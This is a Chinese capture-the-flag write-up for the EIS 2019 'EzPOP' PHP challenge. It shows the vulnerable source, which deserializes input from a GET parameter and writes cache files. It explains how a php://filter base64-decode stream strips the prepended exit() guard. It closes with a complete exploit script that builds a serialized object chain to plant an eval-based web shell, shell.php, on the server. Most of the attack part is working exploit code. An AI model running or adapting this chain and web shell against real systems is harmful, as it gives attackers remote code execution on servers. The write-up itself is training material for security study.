[EIS 2019]EzPOP 代码审计 死亡绕过
点击查看代码
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name; // php://filter/write=convert.base64-decode/resource=uploads/.$name name是从A中的key来的,可控。
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize']; //$serialize =base64_decode
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name); // filename= "php://filter/write=convert.base64-decode/resource=uploads/.$name"
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value); //解码完成数据为abcPD9waHAgQGV2YWwoJF9QT1NUWyJhIl0pOyA/Pg== 其实是'abc'.base64_encode('<?php @eval($_POST["a"]); ?>' 所以需要再次decode
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data); // 利用点 文件名decode则前边的exit代码则会解码为base64不支持的字符会去掉,而后边只剩下<?php @eval($_POST["a"]); ?>
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
点击查看代码
$data = "<?php\n//" . sprintf('%012d', $exitexpire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
点击查看代码
<?php\n//000000000000\nexit();?> 32个字符正好是4的倍数
filename是通过getCacheKey来的,name是set的参数,在A::save触发set,key参数则是文件名xxx.php可控。
再看看$data,经过$this->serialize($value),value是set参数,serialize函数进去看看,发现return $serialize($data),而 $serialize是可控的,先往下看,value是通过$contents = $this->getForStorage();来的。
getForStorage
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
我们要是将$serialize设置为base64_decode,那么cache为空数组时,刚好可以进行解码。(给一句话木马前加字符是需要凑够4的倍数,因为经过decode一次后死亡代码变成了php//000000000000exit,长度不足4的倍数)
那么这时问题就清晰了。直接上payload:
payload
<?php
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store,$key,$expire)
{
$this->key=$key;
$this->expire=$expire;
$this->store=$store;
}
}
class B{
public $option;
}
$b=new B();
$b->options['serialize']='base64_decode';
$b->options['data_compress']=false;
$b->options['prefix']='php://filter/write=convert.base64-decode/resource=uploads/';
$a=new A($b,'shell.php',0);
$a->autosave=false;
$a->cache=array();
$a->complete=base64_encode('abc'.base64_encode('<?php @eval($_POST["a"]); ?>'));
echo urlencode(serialize($a));